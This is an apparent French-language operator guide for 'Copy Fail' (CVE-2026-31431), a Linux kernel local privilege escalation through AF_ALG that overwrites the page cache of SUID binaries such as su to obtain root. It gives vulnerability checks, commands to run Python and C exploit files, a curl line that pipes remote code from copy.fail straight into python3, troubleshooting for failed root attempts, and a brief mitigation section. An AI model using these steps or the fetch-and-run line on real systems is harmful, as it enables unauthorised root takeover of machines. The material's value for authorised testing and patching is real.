Copy Fail (CVE-2026-31431) – Guide d'utilisation de l'exploit

⚠️ Avertissement

Ce contenu est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. N'exécutez PAS ceci sur des systèmes sans autorisation explicite.

📌 Vue d'ensemble

Copy Fail (CVE-2026-31431) est une vulnérabilité d'élévation de privilèges locaux (LPE) sous Linux affectant l'API crypto du noyau via AF_ALG.

Elle permet à un utilisateur non privilégié d'écraser les données du cache de pages d'un binaire SUID (par exemple /usr/bin/su) et d'obtenir un accès root.

🧠 Prérequis

Prérequis système

• Noyau Linux (vulnérable – dépend de l'état du correctif)
• AF_ALG activé
• Module algif_aead chargé

Prérequis de l'exploit Python

• Python 3.10+
• Prise en charge de :
  • os.splice
  • socket(AF_ALG)

🔍 Vérification de la vulnérabilité

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Indicateurs attendus :

• authencesn(hmac(sha256),cbc(aes))
• algif_aead chargé

🐍 Exécution de l'exploit Python

1. Exécution directe

python3 copy_fail_exp.py

2. Ou via curl (si hébergé à distance)

curl https://copy.fail/exp | python3

3. Déclencher le shell root

su
id

Résultat attendu :

uid=0(root)

⚠️ Problèmes courants (Python)

❌ Erreur : os.splice not found

Cause :

• Version de Python < 3.10
• Build restreint

Solution :

• Utiliser un binaire Python plus récent
• Téléverser un interpréteur Python statique

⚙️ Compilation de la version C

1. Compiler

gcc copy_fail_exp.c -o copy_fail

2. Rendre exécutable

chmod +x copy_fail

3. Exécuter l'exploit

./copy_fail
su

⚠️ Problèmes courants (C)

❌ L'exploit s'exécute mais pas de root

Causes possibles :

• Noyau corrigé
• Offsets incorrects
• Environnement incompatible

❌ Erreurs de compilation

Installer les outils requis :

apt update && apt install build-essential

🧪 Dépannage

Vérifier si le système est corrigé

dmesg | grep -i alg

Vérifier le module

lsmod | grep algif_aead

🛡️ Atténuation

Désactiver le module vulnérable

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Appliquer le correctif du noyau

Mettez à jour votre système :

apt update && apt upgrade

📌 Remarques

• L'exploit modifie uniquement le cache de pages (non persistant)
• Nécessite un accès local
• Non exploitable à distance par défaut

🧠 Réflexion finale

Si l'exploit échoue, envisagez :

• Un noyau déjà corrigé
• Des restrictions d'environnement
• Des vecteurs d'élévation de privilèges alternatifs (SUID, capabilities, mauvaise configuration sudo)

📚 Références

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Notes de l'auteur

Utilisez cet exploit de manière responsable dans les laboratoires, les CTF et les pentests autorisés uniquement.